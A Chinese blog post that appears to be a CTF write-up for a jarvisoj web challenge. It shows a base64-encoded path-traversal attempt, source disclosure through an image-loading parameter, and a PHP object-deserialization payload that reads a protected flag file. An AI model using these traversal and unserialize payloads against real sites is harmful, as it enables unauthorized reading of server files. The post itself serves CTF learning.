keac's Bolg.

CTFWP jarvisoj 神盾局的秘密

字数统计: 759阅读时长: 3 min
2020/01/09 Share

贴上题目链接 http://web.jarvisoj.com:32768/

打开来是这样子一张图片

ctfwp-jarvisoj-sdjmm

分析下图片链接 showimg.php?img=c2hpZWxkLmpwZw==

图片是从showing.php中读取的,且img=base64编码

ctfwp-jarvisoj-sdjmm

盲猜文件包含,直接 ../../../../../../../flag 读取

Base64 编码 Li4vLi4vLi4vLi4vLi4vLi4vLi4vZmxhZw==

ctfwp-jarvisoj-sdjmm

似乎不对,接下来尝试读取已知showing.php文件的源码

查看源代码 view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

ctfwp-jarvisoj-sdjmm

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

再来看看index.php的源码

ctfwp-jarvisoj-sdjmm

1
2
3
4
5
6
7
8
9
10
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

发现文件 shield.php ,来看看它的源码

ctfwp-jarvisoj-sdjmm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

flag在pctf.php里面,尝试读取

ctfwp-jarvisoj-sdjmm

提示文件不存在,重新审计index和img的源码

ctfwp-jarvisoj-sdjmm

前面过滤掉了pctf,所以不能直接利用,但是定义shield类里面没有进行过滤,我们利用反序列化漏洞,构造一个shield类,且属性file为pctf.php

1
2
3
4
5
6
7
8
9
10
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

存在一个构造函数和一个readfile(file值不为空且不含..|/|\时,读file值的文件内容)

construct():PHP 将所有以 (两个下划线)开头的类方法保留为魔术方法,只有在对象创建时自动被调用

把上面序列化的代码复制下来,本地跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$shield = new Shield('pctf.php');
echo serialize($shield);
?>

得到 O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

根据index.php的

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

flag在源码里,差点以为自己思路错了

view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

太坑了,还有个假的flag

ctfwp-jarvisoj-sdjmm

php魔术方法:https://www.php.net/manual/zh/language.oop5.magic.php

CATALOG